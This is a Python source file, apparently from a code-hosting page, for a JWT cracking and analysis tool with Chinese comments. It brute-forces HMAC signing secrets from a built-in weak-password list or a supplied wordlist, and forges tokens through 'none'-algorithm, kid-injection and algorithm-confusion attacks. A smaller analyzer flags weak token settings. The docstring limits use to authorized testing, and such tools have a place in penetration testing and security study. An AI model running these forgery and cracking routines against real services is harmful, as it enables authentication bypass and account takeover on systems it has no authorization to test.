393 行
12 KiB
Python
393 行
12 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
JWT Cracker & Analyzer
|
|
JWT 弱密钥破解与分析工具
|
|
|
|
支持:
|
|
- JWT 结构解析
|
|
- 弱密钥暴力破解
|
|
- none 算法攻击
|
|
- kid 注入攻击
|
|
- 密钥泄露检测
|
|
|
|
Usage:
|
|
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
|
|
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." -w wordlist.txt
|
|
python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." --attack none
|
|
|
|
授权边界:
|
|
- 仅用于分析你方签发的 JWT、测试环境样本或已明确授权的令牌
|
|
- 不应用于来源不明或无授权的第三方生产令牌
|
|
- 验证输出应纳入测试记录,避免在共享日志中暴露敏感载荷
|
|
"""
|
|
|
|
import argparse
|
|
import base64
|
|
import json
|
|
import hmac
|
|
import hashlib
|
|
import time
|
|
from typing import Dict, Optional, Tuple, List
|
|
import sys
|
|
import re
|
|
|
|
|
|
class Colors:
|
|
RED = "\033[91m"
|
|
GREEN = "\033[92m"
|
|
YELLOW = "\033[93m"
|
|
BLUE = "\033[94m"
|
|
CYAN = "\033[96m"
|
|
END = "\033[0m"
|
|
BOLD = "\033[1m"
|
|
|
|
|
|
class JWTCracker:
|
|
def __init__(self):
|
|
self.common_secrets = [
|
|
"secret",
|
|
"password",
|
|
"123456",
|
|
"admin",
|
|
"key",
|
|
"jwt",
|
|
"token",
|
|
"secret123",
|
|
"password123",
|
|
"admin123",
|
|
"12345678",
|
|
"qwerty",
|
|
"letmein",
|
|
"welcome",
|
|
"monkey",
|
|
"dragon",
|
|
"master",
|
|
"login",
|
|
"abc123",
|
|
"111111",
|
|
"password1",
|
|
"iloveyou",
|
|
"trustno1",
|
|
"sunshine",
|
|
"princess",
|
|
"football",
|
|
"baseball",
|
|
"shadow",
|
|
"superman",
|
|
"michael",
|
|
"000000",
|
|
"654321",
|
|
"passw0rd",
|
|
"access",
|
|
"root",
|
|
"toor",
|
|
"guest",
|
|
"test",
|
|
"demo",
|
|
"default",
|
|
"changeme",
|
|
"server",
|
|
"api",
|
|
"private",
|
|
]
|
|
|
|
def print_result(self, level: str, msg: str):
|
|
colors = {
|
|
"INFO": Colors.BLUE,
|
|
"SUCCESS": Colors.GREEN,
|
|
"WARNING": Colors.YELLOW,
|
|
"ERROR": Colors.RED,
|
|
"FOUND": Colors.GREEN + Colors.BOLD,
|
|
}
|
|
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
|
|
|
|
def base64url_decode(self, data: str) -> bytes:
|
|
"""Base64URL 解码"""
|
|
padding = 4 - len(data) % 4
|
|
if padding != 4:
|
|
data += "=" * padding
|
|
return base64.urlsafe_b64decode(data)
|
|
|
|
def base64url_encode(self, data: bytes) -> str:
|
|
"""Base64URL 编码"""
|
|
return base64.urlsafe_b64encode(data).rstrip(b"=").decode("utf-8")
|
|
|
|
def decode(self, token: str) -> Tuple[Dict, Dict, bytes]:
|
|
"""解码 JWT"""
|
|
try:
|
|
parts = token.split(".")
|
|
if len(parts) != 3:
|
|
raise ValueError("无效的 JWT 格式")
|
|
|
|
header = json.loads(self.base64url_decode(parts[0]))
|
|
payload = json.loads(self.base64url_decode(parts[1]))
|
|
signature = self.base64url_decode(parts[2])
|
|
|
|
return header, payload, signature
|
|
except Exception as e:
|
|
raise ValueError(f"JWT 解码失败: {e}")
|
|
|
|
def encode(
|
|
self, header: Dict, payload: Dict, secret: str = "", algorithm: str = "HS256"
|
|
) -> str:
|
|
"""编码 JWT"""
|
|
header_b64 = self.base64url_encode(
|
|
json.dumps(header, separators=(",", ":")).encode()
|
|
)
|
|
payload_b64 = self.base64url_encode(
|
|
json.dumps(payload, separators=(",", ":")).encode()
|
|
)
|
|
|
|
message = f"{header_b64}.{payload_b64}"
|
|
|
|
if algorithm.lower() == "none":
|
|
return f"{message}."
|
|
|
|
signature = self.sign(message, secret, algorithm)
|
|
signature_b64 = self.base64url_encode(signature)
|
|
|
|
return f"{message}.{signature_b64}"
|
|
|
|
def sign(self, message: str, secret: str, algorithm: str) -> bytes:
|
|
"""签名"""
|
|
algo_map = {
|
|
"HS256": hashlib.sha256,
|
|
"HS384": hashlib.sha384,
|
|
"HS512": hashlib.sha512,
|
|
}
|
|
|
|
if algorithm not in algo_map:
|
|
raise ValueError(f"不支持的算法: {algorithm}")
|
|
|
|
return hmac.new(secret.encode(), message.encode(), algo_map[algorithm]).digest()
|
|
|
|
def verify(self, token: str, secret: str) -> bool:
|
|
"""验证 JWT 签名"""
|
|
try:
|
|
header, payload, signature = self.decode(token)
|
|
algorithm = header.get("alg", "HS256")
|
|
|
|
parts = token.split(".")
|
|
message = f"{parts[0]}.{parts[1]}"
|
|
|
|
expected_sig = self.sign(message, secret, algorithm)
|
|
|
|
return hmac.compare_digest(signature, expected_sig)
|
|
except Exception:
|
|
return False
|
|
|
|
def crack(
|
|
self, token: str, wordlist: List[str] = None, verbose: bool = True
|
|
) -> Optional[str]:
|
|
"""暴力破解密钥"""
|
|
secrets = wordlist if wordlist else self.common_secrets
|
|
total = len(secrets)
|
|
|
|
if verbose:
|
|
self.print_result("INFO", f"开始破解 {total} 个密钥...")
|
|
|
|
start_time = time.time()
|
|
|
|
for i, secret in enumerate(secrets):
|
|
if verbose and i % 100 == 0:
|
|
print(
|
|
f"\r{Colors.CYAN}[*]{Colors.END} 进度: {i}/{total}",
|
|
end="",
|
|
flush=True,
|
|
)
|
|
|
|
if self.verify(token, secret):
|
|
if verbose:
|
|
print()
|
|
return secret
|
|
|
|
if verbose:
|
|
print()
|
|
|
|
return None
|
|
|
|
def attack_none_algorithm(self, token: str) -> str:
|
|
"""none 算法攻击"""
|
|
header, payload, _ = self.decode(token)
|
|
|
|
header["alg"] = "none"
|
|
|
|
return self.encode(header, payload, "", "none")
|
|
|
|
def attack_algorithm_confusion(self, token: str) -> str:
|
|
"""算法混淆攻击 (HS256 -> RS256)"""
|
|
header, payload, _ = self.decode(token)
|
|
|
|
header["alg"] = "HS256"
|
|
|
|
return self.encode(header, payload, "", "HS256")
|
|
|
|
def attack_kid_injection(self, token: str, injection: str = "/dev/null") -> str:
|
|
"""kid 注入攻击"""
|
|
header, payload, _ = self.decode(token)
|
|
|
|
header["kid"] = injection
|
|
|
|
return self.encode(header, payload, "", "HS256")
|
|
|
|
def analyze(self, token: str) -> Dict:
|
|
"""分析 JWT"""
|
|
try:
|
|
header, payload, signature = self.decode(token)
|
|
|
|
analysis = {
|
|
"header": header,
|
|
"payload": payload,
|
|
"algorithm": header.get("alg", "Unknown"),
|
|
"type": header.get("typ", "Unknown"),
|
|
"issues": [],
|
|
}
|
|
|
|
if header.get("alg") == "none":
|
|
analysis["issues"].append(
|
|
{
|
|
"severity": "HIGH",
|
|
"issue": "使用 none 算法",
|
|
"description": "JWT 使用 none 算法,无签名验证",
|
|
}
|
|
)
|
|
|
|
if header.get("alg") in ["HS256", "HS384", "HS512"]:
|
|
analysis["issues"].append(
|
|
{
|
|
"severity": "MEDIUM",
|
|
"issue": "使用对称加密",
|
|
"description": "使用 HMAC 算法,密钥可能被暴力破解",
|
|
}
|
|
)
|
|
|
|
sensitive_fields = ["password", "secret", "token", "key", "credit", "ssn"]
|
|
for field in sensitive_fields:
|
|
if field in str(payload).lower():
|
|
analysis["issues"].append(
|
|
{
|
|
"severity": "MEDIUM",
|
|
"issue": f"包含敏感字段: {field}",
|
|
"description": "Payload 可能包含敏感信息",
|
|
}
|
|
)
|
|
|
|
if "exp" in payload:
|
|
exp_time = payload["exp"]
|
|
if exp_time < time.time():
|
|
analysis["issues"].append(
|
|
{
|
|
"severity": "LOW",
|
|
"issue": "Token 已过期",
|
|
"description": f"过期时间: {time.ctime(exp_time)}",
|
|
}
|
|
)
|
|
else:
|
|
analysis["issues"].append(
|
|
{
|
|
"severity": "LOW",
|
|
"issue": "无过期时间",
|
|
"description": "Token 没有过期时间 (exp)",
|
|
}
|
|
)
|
|
|
|
return analysis
|
|
|
|
except Exception as e:
|
|
return {"error": str(e)}
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="JWT Cracker & Analyzer")
|
|
parser.add_argument("-t", "--token", required=True, help="JWT Token")
|
|
parser.add_argument("-w", "--wordlist", help="密钥字典文件")
|
|
parser.add_argument(
|
|
"--attack", choices=["none", "kid", "confusion"], help="攻击类型"
|
|
)
|
|
parser.add_argument("--kid-injection", default="/dev/null", help="KID 注入值")
|
|
parser.add_argument("--analyze", action="store_true", help="分析 JWT")
|
|
parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
|
|
|
|
args = parser.parse_args()
|
|
|
|
cracker = JWTCracker()
|
|
|
|
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
|
print(f"{Colors.BOLD}JWT Cracker & Analyzer{Colors.END}")
|
|
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
|
|
|
try:
|
|
header, payload, _ = cracker.decode(args.token)
|
|
|
|
print(f"{Colors.CYAN}Header:{Colors.END}")
|
|
print(f" {json.dumps(header, indent=2)}")
|
|
print(f"\n{Colors.CYAN}Payload:{Colors.END}")
|
|
print(f" {json.dumps(payload, indent=2)}")
|
|
|
|
except Exception as e:
|
|
cracker.print_result("ERROR", str(e))
|
|
sys.exit(1)
|
|
|
|
if args.analyze:
|
|
print(f"\n{Colors.CYAN}Analysis:{Colors.END}")
|
|
analysis = cracker.analyze(args.token)
|
|
|
|
if "issues" in analysis:
|
|
for issue in analysis["issues"]:
|
|
color = (
|
|
Colors.RED
|
|
if issue["severity"] == "HIGH"
|
|
else Colors.YELLOW
|
|
if issue["severity"] == "MEDIUM"
|
|
else Colors.BLUE
|
|
)
|
|
print(f" {color}[{issue['severity']}]{Colors.END} {issue['issue']}")
|
|
print(f" {issue['description']}")
|
|
|
|
if args.attack:
|
|
print(f"\n{Colors.CYAN}Attack: {args.attack}{Colors.END}")
|
|
|
|
if args.attack == "none":
|
|
forged = cracker.attack_none_algorithm(args.token)
|
|
cracker.print_result("SUCCESS", f"Forged Token (none): {forged}")
|
|
|
|
elif args.attack == "kid":
|
|
forged = cracker.attack_kid_injection(args.token, args.kid_injection)
|
|
cracker.print_result("SUCCESS", f"Forged Token (kid): {forged}")
|
|
|
|
elif args.attack == "confusion":
|
|
forged = cracker.attack_algorithm_confusion(args.token)
|
|
cracker.print_result("INFO", "需要公钥来利用算法混淆攻击")
|
|
|
|
wordlist = None
|
|
if args.wordlist:
|
|
try:
|
|
with open(args.wordlist, "r") as f:
|
|
wordlist = [line.strip() for line in f if line.strip()]
|
|
except FileNotFoundError:
|
|
cracker.print_result("ERROR", f"字典文件不存在: {args.wordlist}")
|
|
sys.exit(1)
|
|
|
|
print(f"\n{Colors.CYAN}Cracking...{Colors.END}")
|
|
start = time.time()
|
|
secret = cracker.crack(args.token, wordlist, args.verbose)
|
|
elapsed = time.time() - start
|
|
|
|
if secret:
|
|
cracker.print_result("FOUND", f"密钥破解成功: {secret}")
|
|
cracker.print_result("INFO", f"耗时: {elapsed:.2f}s")
|
|
|
|
forged = cracker.encode(header, payload, secret, header.get("alg", "HS256"))
|
|
cracker.print_result("SUCCESS", f"可以伪造任意 Token")
|
|
else:
|
|
cracker.print_result(
|
|
"WARNING",
|
|
f"未能破解密钥 (尝试了 {len(wordlist) if wordlist else len(cracker.common_secrets)} 个)",
|
|
)
|
|
|
|
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|